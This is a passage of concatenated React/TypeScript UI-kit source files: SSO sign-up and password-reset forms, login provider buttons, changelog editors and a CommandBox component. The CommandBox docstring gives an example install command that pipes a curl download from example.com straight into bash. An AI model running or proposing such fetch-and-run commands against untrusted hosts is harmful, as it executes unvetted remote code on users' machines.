from '../../ui/button'\nimport { Input } from '../../ui/input'\nimport { PasswordInput } from '../../ui/password-input'\n\nexport interface OpenFrameSsoSignUpFormProps {\n  /** Controlled field values */\n  email: string\n  firstName: string\n  lastName: string\n  password: string\n  confirmPassword: string\n  onEmailChange: (value: string) => void\n  onFirstNameChange: (value: string) => void\n  onLastNameChange: (value: string) => void\n  onPasswordChange: (value: string) => void\n  onConfirmPasswordChange: (value: string) => void\n  /** Primary submit (\"Continue\") */\n  onSubmit: () => void\n  onForgotPassword: () => void\n  /** Locks the email field, e.g. when it was verified on a previous step. */\n  emailReadOnly?: boolean\n  submitDisabled?: boolean\n  loading?: boolean\n  disabled?: boolean\n  errors?: {\n    email?: string\n    firstName?: string\n    lastName?: string\n    password?: string\n    confirmPassword?: string\n  }\n  title?: string\n  subtitle?: string\n  emailLabel?: string\n  submitLabel?: string\n  forgotPasswordLabel?: string\n  className?: string\n}\n\n/**\n * OpenFrame SSO sign-up form. Presentational + controlled — create OpenFrame SSO\n * credentials (email, name, password).\n */\nexport function OpenFrameSsoSignUpForm({\n  email,\n  firstName,\n  lastName,\n  password,\n  confirmPassword,\n  onEmailChange,\n  onFirstNameChange,\n  onLastNameChange,\n  onPasswordChange,\n  onConfirmPasswordChange,\n  onSubmit,\n  onForgotPassword,\n  emailReadOnly = false,\n  submitDisabled = false,\n  loading = false,\n  disabled = false,\n  errors,\n  title = 'OpenFrame Single Sign-On',\n  subtitle = 'Enter your email and password to access your organization.',\n  emailLabel = 'Email',\n  submitLabel = 'Continue',\n  forgotPasswordLabel = 'Forgot Password?',\n  className,\n}: OpenFrameSsoSignUpFormProps) {\n  const fieldsDisabled = disabled || loading\n\n  // Validation messages are deferred while the user is typing (shown on blur or after a pause).\n  const emailErr = useDeferredError(errors?.email, email)\n  const firstNameErr = useDeferredError(errors?.firstName, firstName)\n  const lastNameErr = useDeferredError(errors?.lastName, lastName)\n  const passwordErr = useDeferredError(errors?.password, password)\n  const confirmErr = useDeferredError(errors?.confirmPassword, confirmPassword)\n\n  const handleKeyDown = (event: React.KeyboardEvent<HTMLInputElement>) => {\n    if (event.key === 'Enter' && !fieldsDisabled && !submitDisabled) {\n      onSubmit()\n    }\n  }\n\n  return (\n    <div\n      className={cn(\n        'flex w-full flex-col gap-[var(--spacing-system-l)] rounded-md border border-ods-border bg-ods-card p-[var(--spacing-system-xl)]',\n        className,\n      )}\n    >\n      {/* Header */}\n      <div className=\"flex flex-col gap-[var(--spacing-system-xs)]\">\n        <h1 className=\"text-h2 text-ods-text-primary tracking-[-0.64px]\">{title}</h1>\n        <p className=\"text-h4 text-ods-text-secondary\">{subtitle}</p>\n      </div>\n\n      <Input\n        type=\"email\"\n        label={emailLabel}\n        placeholder=\"username@mail.com\"\n        value={email}\n        error={emailErr.error}\n        disabled={fieldsDisabled || emailReadOnly}\n        onBlur={emailErr.onBlur}\n        onChange={(event) => onEmailChange(event.target.value)}\n        onKeyDown={handleKeyDown}\n      />\n\n      {/* Name + password fields — single column on every breakpoint */}\n      <Input\n        label=\"First Name\"\n        placeholder=\"Enter First Name\"\n        value={firstName}\n        error={firstNameErr.error}\n        disabled={fieldsDisabled}\n        onBlur={firstNameErr.onBlur}\n        onChange={(event) => onFirstNameChange(event.target.value)}\n        onKeyDown={handleKeyDown}\n      />\n      <Input\n        label=\"Last Name\"\n        placeholder=\"Enter Last Name\"\n        value={lastName}\n        error={lastNameErr.error}\n        disabled={fieldsDisabled}\n        onBlur={lastNameErr.onBlur}\n        onChange={(event) => onLastNameChange(event.target.value)}\n        onKeyDown={handleKeyDown}\n      />\n      <PasswordInput\n        label=\"Password\"\n        placeholder=\"Enter Password\"\n        value={password}\n        error={passwordErr.error}\n        disabled={fieldsDisabled}\n        onBlur={passwordErr.onBlur}\n        onChange={(event) => onPasswordChange(event.target.value)}\n        onKeyDown={handleKeyDown}\n      />\n      <PasswordInput\n        label=\"Confirm Password\"\n        placeholder=\"Confirm Password\"\n        value={confirmPassword}\n        error={confirmErr.error}\n        disabled={fieldsDisabled}\n        onBlur={confirmErr.onBlur}\n        onChange={(event) => onConfirmPasswordChange(event.target.value)}\n        onKeyDown={handleKeyDown}\n      />\n\n      {/* Forgot password + Continue */}\n      <div className=\"flex items-center gap-[var(--spacing-system-l)]\">\n        <Button\n          type=\"button\"\n          variant=\"transparent\"\n          fullWidth\n          className=\"flex-1\"\n          disabled={fieldsDisabled}\n          onClick={onForgotPassword}\n        >\n          {forgotPasswordLabel}\n        </Button>\n        <Button\n          type=\"button\"\n          variant=\"accent\"\n          fullWidth\n          className=\"flex-1\"\n          loading={loading}\n          disabled={disabled || submitDisabled}\n          onClick={onSubmit}\n        >\n          {submitLabel}\n        </Button>\n      </div>\n    </div>\n  )\n}\n","'use client'\n\nimport type * as React from 'react'\nimport { cn } from '../../../utils/cn'\nimport { useDeferredError } from '../../../hooks/ui/use-deferred-error'\nimport { Button } from '../../ui/button'\nimport { Input } from '../../ui/input'\nimport { BackToLoginLink } from './back-to-login-link'\n\nexport interface PasswordResetFormProps {\n  /** Controlled field values */\n  password: string\n  confirmPassword: string\n  onPasswordChange: (value: string) => void\n  onConfirmPasswordChange: (value: string) => void\n  /** Primary submit (\"Reset Password\") */\n  onSubmit: () => void\n  /** Secondary action (\"Cancel\") */\n  onCancel: () => void\n  /** In-card \"Back to Login\" shown on tablet/mobile; desktop uses the shell footer. */\n  onBackToLogin?: () => void\n  /** Disables just the primary submit (fields stay editable). */\n  submitDisabled?: boolean\n  loading?: boolean\n  disabled?: boolean\n  errors?: {\n    password?: string\n    confirmPassword?: string\n  }\n  title?: string\n  subtitle?: string\n  newPasswordLabel?: string\n  confirmPasswordLabel?: string\n  newPasswordPlaceholder?: string\n  confirmPasswordPlaceholder?: string\n  submitLabel?: string\n  cancelLabel?: string\n  className?: string\n}\n\n/**\n * Password Reset form. Presentational + controlled — the consumer owns state,\n * validation and submission. Covers the empty and filled states from the auth\n * redesign. \"Back to Login\" is provided by the AuthShell footer (desktop).\n */\nexport function PasswordResetForm({\n  password,\n  confirmPassword,\n  onPasswordChange,\n  onConfirmPasswordChange,\n  onSubmit,\n  onCancel,\n  onBackToLogin,\n  submitDisabled = false,\n  loading = false,\n  disabled = false,\n  errors,\n  title = 'Reset your Password',\n  subtitle = 'Enter your new password below',\n  newPasswordLabel = 'New Password',\n  confirmPasswordLabel = 'Confirm Password',\n  newPasswordPlaceholder = 'Enter your Password',\n  confirmPasswordPlaceholder = 'Enter your Password',\n  submitLabel = 'Reset Password',\n  cancelLabel = 'Cancel',\n  className,\n}: PasswordResetFormProps) {\n  const fieldsDisabled = disabled || loading\n\n  // Validation messages are deferred while the user is typing (shown on blur or after a pause).\n  const passwordErr = useDeferredError(errors?.password, password)\n  const confirmErr = useDeferredError(errors?.confirmPassword, confirmPassword)\n\n  const handleKeyDown = (event: React.KeyboardEvent<HTMLInputElement>) => {\n    if (event.key === 'Enter' && !fieldsDisabled && !submitDisabled) {\n      onSubmit()\n    }\n  }\n\n  return (\n    <div\n      className={cn(\n        'flex w-full flex-col gap-[var(--spacing-system-l)] rounded-md border border-ods-border bg-ods-card p-[var(--spacing-system-xl)]',\n        className,\n      )}\n    >\n      {/* Header */}\n      <div className=\"flex flex-col\">\n        <h1 className=\"text-h2 text-ods-text-primary tracking-[-0.64px]\">{title}</h1>\n        <p className=\"text-h4 text-ods-text-secondary\">{subtitle}</p>\n      </div>\n\n      {/* New password */}\n      <Input\n        type=\"password\"\n        label={newPasswordLabel}\n        placeholder={newPasswordPlaceholder}\n        value={password}\n        error={passwordErr.error}\n        disabled={fieldsDisabled}\n        onBlur={passwordErr.onBlur}\n        onChange={(event) => onPasswordChange(event.target.value)}\n        onKeyDown={handleKeyDown}\n      />\n\n      {/* Confirm password */}\n      <Input\n        type=\"password\"\n        label={confirmPasswordLabel}\n        placeholder={confirmPasswordPlaceholder}\n        value={confirmPassword}\n        error={confirmErr.error}\n        disabled={fieldsDisabled}\n        onBlur={confirmErr.onBlur}\n        onChange={(event) => onConfirmPasswordChange(event.target.value)}\n        onKeyDown={handleKeyDown}\n      />\n\n      {/* Actions — Cancel + Reset, side by side on every breakpoint */}\n      <div className=\"flex items-center gap-[var(--spacing-system-l)]\">\n        <Button\n          type=\"button\"\n          variant=\"outline\"\n          fullWidth\n          className=\"flex-1\"\n          disabled={fieldsDisabled}\n          onClick={onCancel}\n        >\n          {cancelLabel}\n        </Button>\n        <Button\n          type=\"button\"\n          variant=\"accent\"\n          fullWidth\n          className=\"flex-1\"\n          loading={loading}\n          disabled={disabled || submitDisabled}\n          onClick={onSubmit}\n        >\n          {submitLabel}\n        </Button>\n      </div>\n\n      {/* Back to Login — in-card on tablet/mobile; desktop shows it in the shell footer */}\n      {onBackToLogin && <BackToLoginLink onClick={onBackToLogin} className=\"self-start lg:hidden\" />}\n    </div>\n  )\n}\n","'use client'\n\nimport type * as React from 'react'\nimport { cn } from '../../../utils/cn'\nimport { OpenFrameWordmark, PoweredByFlamingo } from './auth-branding'\n\nexport interface SsoAuthShellProps {\n  /** Centered card content (OpenFrame SSO login / sign-up form). */\n  children: React.ReactNode\n  className?: string\n}\n\n/**\n * Centered single-column layout for the OpenFrame SSO (IdP) screens: logo on top,\n * the form card centered, \"Powered by Flamingo\" at the bottom. No marketing panel.\n */\nexport function SsoAuthShell({ children, className }: SsoAuthShellProps) {\n  return (\n    <div\n      className={cn(\n        'flex min-h-screen w-full flex-col items-center justify-between gap-[var(--spacing-system-xl)] bg-ods-bg p-[var(--spacing-system-xl)]',\n        className,\n      )}\n    >\n      <OpenFrameWordmark />\n      <div className=\"flex w-full max-w-[600px] flex-col items-center\">{children}</div>\n      <PoweredByFlamingo compact />\n    </div>\n  )\n}\n","\"use client\";\n\nimport { useState } from 'react';\nimport { Button } from \"../ui/button\";\nimport { MicrosoftIcon, GoogleLogo, SlackIcon, GitHubIcon, AppleIcon } from \"../icons\";\n\ninterface ProviderButtonProps {\n  provider: 'microsoft' | 'google' | 'slack' | 'github' | 'apple';\n  onClick: () => Promise<void> | void;\n  disabled?: boolean;\n  loading?: boolean;\n}\n\nconst PROVIDER_CONFIG = {\n  microsoft: {\n    displayName: 'Continue with Microsoft',\n    icon: MicrosoftIcon,\n  },\n  google: {\n    displayName: 'Continue with Google',\n    icon: GoogleLogo,\n  },\n  slack: {\n    displayName: 'Continue with Slack',\n    icon: SlackIcon,\n  },\n  github: {\n    displayName: 'Continue with GitHub',\n    icon: GitHubIcon,\n  },\n  apple: {\n    displayName: 'Continue with Apple',\n    icon: AppleIcon,\n  },\n};\n\nexport function ProviderButton({ provider, onClick, disabled = false, loading = false }: ProviderButtonProps) {\n  const [internalLoading, setInternalLoading] = useState(false);\n  const config = PROVIDER_CONFIG[provider];\n  const IconComponent = config.icon;\n\n  // Use external loading state if provided, otherwise use internal state\n  const isLoading = loading || internalLoading;\n\n  const handleClick = async (e: React.MouseEvent) => {\n    // Prevent the click from bubbling up to parent elements (like modal backdrop)\n    e.stopPropagation();\n    e.preventDefault();\n\n    if (disabled || isLoading) {\n      return;\n    }\n\n    try {\n      // Only set internal loading if no external loading is managed\n      if (!loading) {\n        setInternalLoading(true);\n      }\n      await onClick();\n    } catch (error) {\n      console.error(`${provider} sign-in error:`, error);\n    } finally {\n      if (!loading) {\n        setInternalLoading(false);\n      }\n    }\n  };\n\n  return (\n    <Button\n      type=\"button\"\n      onClick={handleClick}\n      disabled={disabled || isLoading}\n      variant=\"outline\"\n      size=\"default\"\n      leftIcon={isLoading ? null : <IconComponent className=\"w-5 h-5\" />}\n      className={`\n        w-full md:!w-full h-[56px] \n        !text-h6 !font-bold\n        hover:bg-ods-bg-hover\n        ${isLoading ? 'cursor-wait' : 'cursor-pointer'}\n      `}\n      aria-label={config.displayName}\n    >\n      {isLoading ? 'Signing in...' : config.displayName}\n    </Button>\n  );\n}","\"use client\";\n\nimport { ProviderButton } from './provider-button';\n\nexport interface SSOConfigStatus {\n  provider: string;\n  enabled: boolean;\n  clientId?: string;\n}\n\ninterface AuthProvidersListProps {\n  /** List of enabled SSO providers */\n  enabledProviders: SSOConfigStatus[];\n  /** Callback when provider is clicked - implement your auth logic here */\n  onProviderClick: (provider: string) => Promise<void>;\n  /** Loading state for providers */\n  loading?: boolean;\n  /** Show divider above providers list */\n  showDivider?: boolean;\n  /** Custom divider text */\n  dividerText?: string;\n  /** Layout orientation */\n  orientation?: 'vertical' | 'horizontal';\n}\n\nexport function AuthProvidersList({ \n  enabledProviders,\n  onProviderClick,\n  loading = false,\n  showDivider = true,\n  dividerText = \"or\",\n  orientation = \"vertical\"\n}: AuthProvidersListProps) {\n  if (!enabledProviders.length) {\n    return null;\n  }\n\n  const handleProviderClick = async (provider: string) => {\n    try {\n      await onProviderClick(provider);\n    } catch (error) {\n      console.error(`❌ Auth Providers List: Error with ${provider}:`, error);\n    }\n  };\n\n  return (\n    <div className=\"space-y-3\">\n      {showDivider && (\n        <div className=\"relative\">\n          <div className=\"absolute inset-0 flex items-center\">\n            <div className=\"w-full border-t border-ods-border\" />\n          </div>\n          <div className=\"relative flex justify-center text-h6\">\n            <span className=\"px-2 bg-ods-card text-ods-text-secondary\">{dividerText}</span>\n          </div>\n        </div>\n      )}\n      \n      <div className={`${orientation === 'horizontal' ? 'flex gap-2' : 'space-y-2'}`}>\n        {enabledProviders\n          .filter(provider => provider.enabled)\n          .map((provider) => (\n            <ProviderButton\n              key={provider.provider}\n              provider={provider.provider as 'microsoft' | 'google' | 'slack' | 'github' | 'apple'}\n              onClick={() => handleProviderClick(provider.provider)}\n              disabled={loading}\n              loading={loading}\n            />\n          ))}\n      </div>\n    </div>\n  );\n}","\"use client\";\n\nimport { Button, Input, Textarea, Label } from '../ui';\nimport { Trash2, Plus, ChevronDown, ChevronUp, Eye, EyeOff } from 'lucide-react';\nimport { useState, useEffect } from 'react';\nimport type { ChangelogEntry } from '../../types/product-release';\n\ninterface ChangelogManagerProps {\n  title: string;\n  entries: ChangelogEntry[];\n  onChange: (entries: ChangelogEntry[]) => void;\n  className?: string;\n  /** Expand all items - useful after AI enrichment fills entries */\n  expandAll?: boolean;\n  /**\n   * When true, render a per-entry public/internal visibility toggle (Eye/EyeOff icon)\n   * in each entry's header. New entries default to 'public'. Used by investor updates\n   * — leave undefined for product releases so they keep their existing UX.\n   */\n  showVisibilityToggle?: boolean;\n}\n\nexport function ChangelogManager({\n  title,\n  entries,\n  onChange,\n  className = '',\n  expandAll = false,\n  showVisibilityToggle = false,\n}: ChangelogManagerProps) {\n  const [expandedIndices, setExpandedIndices] = useState<Set<number>>(new Set());\n\n  // When expandAll changes to true and there are entries, expand all\n  useEffect(() => {\n    if (expandAll && entries.length > 0) {\n      setExpandedIndices(new Set(entries.map((_, i) => i)));\n    }\n  }, [expandAll, entries.length]);\n\n  const addEntry = () => {\n    const newEntry: ChangelogEntry = {\n      title: '',\n      description: '',\n      ...(showVisibilityToggle && { visibility: 'public' as const }),\n    };\n    onChange([...entries, newEntry]);\n    // Expand the newly added entry\n    setExpandedIndices(prev => new Set([...prev, entries.length]));\n  };\n\n  const toggleVisibility = (index: number) => {\n    const updated = [...entries];\n    const current = updated[index].visibility ?? 'public';\n    updated[index] = { ...updated[index], visibility: current === 'public' ? 'internal' : 'public' };\n    onChange(updated);\n  };\n\n  const removeEntry = (index: number) => {\n    onChange(entries.filter((_, i) => i !== index));\n    // Remove from expanded and adjust indices for items after removed one\n    setExpandedIndices(prev => {\n      const newSet = new Set<number>();\n      prev.forEach(i => {\n        if (i < index) newSet.add(i);\n        else if (i > index) newSet.add(i - 1);\n      });\n      return newSet;\n    });\n  };\n\n  const updateEntry = (index: number, field: keyof ChangelogEntry, value: string) => {\n    const updated = [...entries];\n    updated[index] = { ...updated[index], [field]: value };\n    onChange(updated);\n  };\n\n  const toggleExpanded = (index: number) => {\n    setExpandedIndices(prev => {\n      const newSet = new Set(prev);\n      if (newSet.has(index)) {\n        newSet.delete(index);\n      } else {\n        newSet.add(index);\n      }\n      return newSet;\n    });\n  };\n\n  return (\n    <div className={`space-y-3 ${className}`}>\n      <div className=\"flex items-center justify-between\">\n        <Label>\n          {title}\n        </Label>\n        <Button\n          type=\"button\"\n          variant=\"outline\"\n          size=\"small-legacy\"\n          onClick={addEntry}\n          leftIcon={<Plus className=\"h-4 w-4\" />}\n          className=\"text-h6\"\n        >\n          Add Entry\n        </Button>\n      </div>\n\n      {entries.map((entry, index) => {\n        const isExpanded = expandedIndices.has(index);\n        const hasContent = entry.title.trim().length > 0;\n\n        return (\n          <div key={index} className=\"bg-ods-bg-surface rounded-lg border border-ods-border overflow-hidden\">\n            {/* Header - always visible */}\n            <div className=\"flex items-center gap-3 p-3\">\n              <Button\n                type=\"button\"\n                variant=\"transparent\"\n                size=\"icon\"\n                onClick={() => toggleExpanded(index)}\n                className=\"shrink-0\"\n              >\n                {isExpanded ? <ChevronUp className=\"h-4 w-4\" /> : <ChevronDown className=\"h-4 w-4\" />}\n              </Button>\n\n              <div className=\"flex-1 min-w-0\">\n                {hasContent ? (\n                  <p className=\"text-h6 text-ods-text-primary truncate\">\n                    {entry.title}\n                  </p>\n                ) : (\n                  <p className=\"text-h6 text-ods-text-secondary italic\">\n                    New entry (click to edit)\n                  </p>\n                )}\n              </div>\n\n              {showVisibilityToggle && (\n                <Button\n                  type=\"button\"\n                  variant=\"transparent\"\n                  size=\"icon\"\n                  onClick={() => toggleVisibility(index)}\n                  className=\"shrink-0\"\n                  title={\n                    (entry.visibility ?? 'public') === 'public'\n                      ? 'Visible to investors'\n                      : 'Internal only'\n                  }\n                >\n                  {(entry.visibility ?? 'public') === 'public' ? (\n                    <Eye className=\"h-4 w-4 text-ods-accent\" />\n                  ) : (\n                    <EyeOff className=\"h-4 w-4 text-ods-text-secondary\" />\n                  )}\n                </Button>\n              )}\n\n              <Button\n                type=\"button\"\n                variant=\"transparent\"\n                size=\"icon\"\n                onClick={() => removeEntry(index)}\n                className=\"text-ods-error hover:text-ods-error-hover hover:bg-ods-error-secondary shrink-0\"\n              >\n                <Trash2 className=\"h-4 w-4\" />\n              </Button>\n            </div>\n\n            {/* Expanded content */}\n            {isExpanded && (\n              <div className=\"px-3 pb-3 space-y-3 border-t border-ods-border pt-3\">\n                {/* Title */}\n                <div className=\"space-y-1\">\n                  <Label className=\"text-ods-text-secondary\">Title *</Label>\n                  <Input\n                    placeholder=\"e.g., New dark mode theme support\"\n                    value={entry.title}\n                    onChange={(e) => updateEntry(index, 'title', e.target.value)}\n                    onKeyDown={(e) => e.key === 'Enter' && e.preventDefault()}\n                    className=\"bg-ods-bg\"\n                  />\n                </div>\n\n                {/* Description */}\n                <div className=\"space-y-1\">\n                  <Label className=\"text-ods-text-secondary\">Description</Label>\n                  <Textarea\n                    placeholder=\"Detailed explanation of the change...\"\n                    value={entry.description || ''}\n                    onChange={(e) => updateEntry(index, 'description', e.target.value)}\n                    rows={2}\n                    className=\"bg-ods-bg\"\n                  />\n                </div>\n              </div>\n            )}\n          </div>\n        );\n      })}\n\n      {entries.length === 0 && (\n        <div className=\"text-center py-4 px-4 bg-ods-bg-surface border border-ods-border rounded-lg\">\n          <p className=\"text-ods-text-secondary text-h6\">\n            No entries added. Click \"Add Entry\" to create {title.toLowerCase()}.\n          </p>\n        </div>\n      )}\n    </div>\n  );\n}\n","\"use client\";\n\nimport { ChangelogManager } from './changelog-manager';\nimport type { ChangelogEntry } from '../../types/product-release';\n\ninterface ChangelogSectionsManagerProps {\n  featuresAdded: ChangelogEntry[];\n  bugsFixed: ChangelogEntry[];\n  improvements: ChangelogEntry[];\n  breakingChanges: ChangelogEntry[];\n  onFeaturesAddedChange: (entries: ChangelogEntry[]) => void;\n  onBugsFixedChange: (entries: ChangelogEntry[]) => void;\n  onImprovementsChange: (entries: ChangelogEntry[]) => void;\n  onBreakingChangesChange: (entries: ChangelogEntry[]) => void;\n  className?: string;\n  /** Expand all items in all sections - useful after AI enrichment fills entries */\n  expandAll?: boolean;\n}\n\nexport function ChangelogSectionsManager({\n  featuresAdded,\n  bugsFixed,\n  improvements,\n  breakingChanges,\n  onFeaturesAddedChange,\n  onBugsFixedChange,\n  onImprovementsChange,\n  onBreakingChangesChange,\n  className = '',\n  expandAll = false\n}: ChangelogSectionsManagerProps) {\n  return (\n    <div className={`space-y-6 p-6 bg-ods-card border border-ods-border rounded-lg ${className}`}>\n      <h3 className=\"text-h5 text-ods-text-primary\">Changelog</h3>\n\n      {/* Features Added */}\n      <ChangelogManager\n        title=\"Features Added\"\n        entries={featuresAdded}\n        onChange={onFeaturesAddedChange}\n        expandAll={expandAll}\n      />\n\n      {/* Bugs Fixed */}\n      <ChangelogManager\n        title=\"Bugs Fixed\"\n        entries={bugsFixed}\n        onChange={onBugsFixedChange}\n        expandAll={expandAll}\n      />\n\n      {/* Improvements */}\n      <ChangelogManager\n        title=\"Improvements\"\n        entries={improvements}\n        onChange={onImprovementsChange}\n        expandAll={expandAll}\n      />\n\n      {/* Breaking Changes */}\n      <ChangelogManager\n        title=\"Breaking Changes\"\n        entries={breakingChanges}\n        onChange={onBreakingChangesChange}\n        expandAll={expandAll}\n      />\n    </div>\n  );\n}\n","\"use client\";\n\nimport { ArrayEntryManager } from './array-entry-manager';\nimport { Lightbulb } from 'lucide-react';\nimport { ReactNode } from 'react';\n\nexport interface ClickUpTaskLink {\n  clickup_task_id: string; // Just the task ID\n  display_order?: number;\n}\n\ninterface ClickUpTasksManagerProps {\n  tasks: ClickUpTaskLink[];\n  onChange: (tasks: ClickUpTaskLink[]) => void;\n  title?: ReactNode; // Support string or ReactNode for badge integration\n  className?: string;\n  /**\n   * Per-row label renderer (passthrough to ArrayEntryManager) — lets a host\n   * hydrate the bare task id with the mirror's title/status row.\n   */\n  renderLabel?: (item: ClickUpTaskLink, index: number) => ReactNode;\n}\n\nexport function ClickUpTasksManager({\n  tasks,\n  onChange,\n  title = 'ClickUp Roadmap Tasks', // Default title\n  className = '',\n  renderLabel\n}: ClickUpTasksManagerProps) {\n  return (\n    <ArrayEntryManager\n      title={title}\n      items={tasks}\n      onChange={onChange}\n      fieldKey=\"clickup_task_id\"\n      placeholder=\"Task ID (e.g., 86cq2uabk)\"\n      emptyMessage='No ClickUp tasks linked. Click \"Add Task\" to link roadmap items.'\n      addButtonText=\"Add Task\"\n      icon={<Lightbulb className=\"w-5 h-5 text-ods-text-secondary\" />}\n      className={className}\n      renderLabel={renderLabel}\n    />\n  );\n}\n","'use client'\n\nimport React from 'react'\nimport { Button } from '../ui/button'\nimport { Copy02Icon } from '../icons-v2-generated/documents/copy-02-icon'\nimport { cn } from '../../utils/cn'\n\nexport interface CommandBoxAction {\n  /** Button label */\n  label: string\n  /** Click handler */\n  onClick: () => void\n  /** Button variant */\n  variant?: 'accent' | 'outline' | 'transparent' | 'destructive'\n  /** Icon to display before the label */\n  icon?: React.ReactNode\n  /** Whether the button is disabled */\n  disabled?: boolean\n  /** Whether the button is in loading state */\n  loading?: boolean\n}\n\nexport interface CommandBoxProps {\n  /** The command text to display */\n  command: string\n  /** Title displayed above the command box */\n  title?: string\n  /** Primary action button (displayed on the right) */\n  primaryAction?: CommandBoxAction\n  /** Secondary action button (displayed before primary) */\n  secondaryAction?: CommandBoxAction\n  /** Additional CSS classes for the container */\n  className?: string\n  /** Additional CSS classes for the command text */\n  commandClassName?: string\n  /** Maximum lines to show (uses line-clamp, 0 for unlimited) */\n  maxLines?: number\n  /** When set, shows a copy icon button in the top-right corner of the box */\n  onCopy?: () => void\n  /** Accessible label for the corner copy button */\n  copyAriaLabel?: string\n}\n\n/**\n * CommandBox - Unified component for displaying commands with action buttons\n *\n * Features:\n * - Displays command text in monospace font\n * - Optional title\n * - Primary and secondary action buttons\n * - Configurable line clamping\n * - Consistent ODS styling\n *\n * Usage Example:\n * ```tsx\n * import { CommandBox } from '@flamingo/ui-kit/components/features'\n * import { Copy, Play } from 'lucide-react'\n *\n * <CommandBox\n *   title=\"Device Add Command\"\n *   command=\"curl -L https://example.com/install.sh | bash\"\n *   primaryAction={{\n *     label: 'Copy Command',\n *     onClick: handleCopy,\n *     icon: <Copy className=\"w-5 h-5\" />,\n *     variant: 'primary'\n *   }}\n *   secondaryAction={{\n *     label: 'Run on Current Machine',\n *     onClick: handleRun,\n *     icon: <Play className=\"w-5 h-5\" />,\n *     variant: 'outline'\n *   }}\n * />\n * ```\n */\n// Static mapping for line-clamp classes (Tailwind needs static class names at build time)\nconst lineClampClasses: Record<number, string> = {\n  1: 'line-clamp-1',\n  2: 'line-clamp-2',\n  3: 'line-clamp-3',\n  4: 'line-clamp-4',\n  5: 'line-clamp-5',\n  6: 'line-clamp-6',\n}\n\nexport function CommandBox({\n  command,\n  title,\n  primaryAction,\n  secondaryAction,\n  className,\n  commandClassName,\n  maxLines = 0,\n  onCopy,\n  copyAriaLabel = 'Copy command'\n}: CommandBoxProps) {\n  // Get static line-clamp class or undefined for unlimited\n  const lineClampClass = maxLines > 0 ? lineClampClasses[maxLines] : undefined\n\n  const commandText = (\n    <div\n      className={cn(\n        'text-ods-text-primary text-code break-all',\n        onCopy && 'flex-1 min-w-0',\n        lineClampClass,\n        commandClassName\n      )}\n    >\n      {command}\n    </div>\n  )\n\n  return (\n    <div className={cn('flex flex-col gap-2', className)}>\n      {title && (\n        <div className=\"text-ods-text-primary text-h4\">\n          {title}\n        </div>\n      )}\n      <div className=\"bg-ods-bg border border-ods-border rounded-[6px] p-4\">\n        {onCopy ? (\n          <div className=\"flex items-start gap-4\">\n            {commandText}\n            <button\n              type=\"button\"\n              onClick={onCopy}\n              aria-label={copyAriaLabel}\n              className=\"shrink-0 rounded-md text-ods-text-secondary transition-colors hover:text-ods-text-primary focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ods-focus\"\n            >\n              <Copy02Icon className=\"w-5 h-5\" />\n            </button>\n          </div>\n        ) : (\n          commandText\n        )}\n        {(primaryAction || secondaryAction) && (\n          <div className=\"flex flex-col md:flex-row gap-3 md:justify-end mt-4\">\n            {secondaryAction && (\n              <Button\n                variant={secondaryAction.variant || 'outline'}\n                leftIcon={secondaryAction.icon}\n                onClick={secondaryAction.onClick}\n                disabled={secondaryAction.disabled}\n                loading={secondaryAction.loading}\n                className=\"w-full md:w-auto\"\n              >\n                {secondaryAction.label}\n              </Button>\n            )}\n            {primaryAction && (\n              <Button\n                variant={primaryAction.variant || 'accent'}\n                leftIcon={primaryAction.icon}\n                onClick={primaryAction.onClick}\n                disabled={primaryAction.disabled}\n                loading={primaryAction.loading}\n                className=\"w-full md:w-auto\"\n              >\n                {primaryAction.label}\n              </Button>\n            )}\n          </div>\n        )}\n      </div>\n    </div>\n  )\n}\n","import Link from 'next/link'\nimport { StatusBadge } from '../ui/status-badge'\nimport type { TagAssoc } from '../../types/blog'\n\ninterface EntityTagBadgesProps {\n  /** Flat `<entity>_tags[]` association array (from entity_tags hydration). */\n  tags?: TagAssoc[] | null\n  /**\n   * When set, each badge links to `${basePath}?tags=${slug}` (clickable, SPA nav\n   * via next/link). Omit for a non-interactive display (badges with no slug also\n   * render non-interactive even when basePath is set).\n   */\n  basePath?: string\n  /** Cap visible badges; the remainder collapse into a \"+N\" badge. */\n  max?: number\n  /** Extra classes on the wrapper row. */\n  className?: string\n}\n\n// The ONE tag-badge skin (OpenFrame design): rounded-rect, font-mono uppercase\n// StatusBadge on ods-card + ods-border. Clickable badges add the accent hover.\n// Exported so other tag-shaped chips (e.g. FaqAccordion's section badge)\n// render the IDENTICAL skin without re-declaring it.\nexport const TAG_BADGE_CLASS = 'bg-ods-card border border-ods-border'\nconst BADGE_CLASS = TAG_BADGE_CLASS\n\n/**\n * THE single tag-badge renderer for the whole product (hub + lib). Renders the\n * OpenFrame `StatusBadge` chip skin for a flat `<entity>_tags[]` array, optionally\n * clickable (links each tag to its filtered list via `basePath`). The hub's\n * `EntityTagList` delegates here so there is exactly one tag-display design.\n * Renders nothing when there are no tags.\n */\nexport function EntityTagBadges({ tags, basePath, max, className }: EntityTagBadgesProps) {\n  const items = (tags || []).filter((t): t is TagAssoc => !!t && !!t.name)\n  if (items.length === 0) return null\n\n  // Only null/undefined means \"no cap\"; max={0} shows none, negatives clamp to 0.\n  const visibleLimit = max == null ? items.length : Math.max(0, max)\n  const shown = items.slice(0, visibleLimit)\n  const overflow = items.length - shown.length\n\n  return (\n    <div className={`flex flex-wrap items-center gap-2 w-full ${className || ''}`}>\n      {shown.map((tag) => {\n        const key = tag.tag_id ?? tag.id ?? tag.slug ?? tag.name\n        const label = (tag.name || '').toUpperCase()\n        if (basePath && tag.slug) {\n          return (\n            <Link key={key} href={`${basePath}?tags=${tag.slug}`} className=\"inline-flex\">\n              <StatusBadge\n                text={label}\n                variant=\"card\"\n                className={`${BADGE_CLASS} cursor-pointer transition-colors hover:border-ods-accent`}\n              />\n            </Link>\n          )\n        }\n        return <StatusBadge key={key} text={label} variant=\"card\" className={BADGE_CLASS} />\n      })}\n      {overflow > 0 && (\n        <StatusBadge text={`+${overflow}`} variant=\"card\" className={`${BADGE_CLASS} text-ods-text-secondary`} />\n      )}\n    </div>\n  )\n}\n","\"use client\"\n\nimport { Component, type ErrorInfo, type ReactNode } from \"react\"\n\ninterface ErrorBoundaryProps {\n  fallback: ReactNode\n  children: ReactNode\n}\n\ninterface ErrorBoundaryState {\n  hasError: boolean\n}\n\nexport class ErrorBoundary extends Component<ErrorBoundaryProps, ErrorBoundaryState> {\n  constructor(props: ErrorBoundaryProps) {\n    super(props)\n    this.state = { hasError: false }\n  }\n\n  static getDerivedStateFromError(_: Error): ErrorBoundaryState {\n    return { hasError: true }\n  }\n\n  componentDidCatch(error: Error, errorInfo: ErrorInfo) {\n    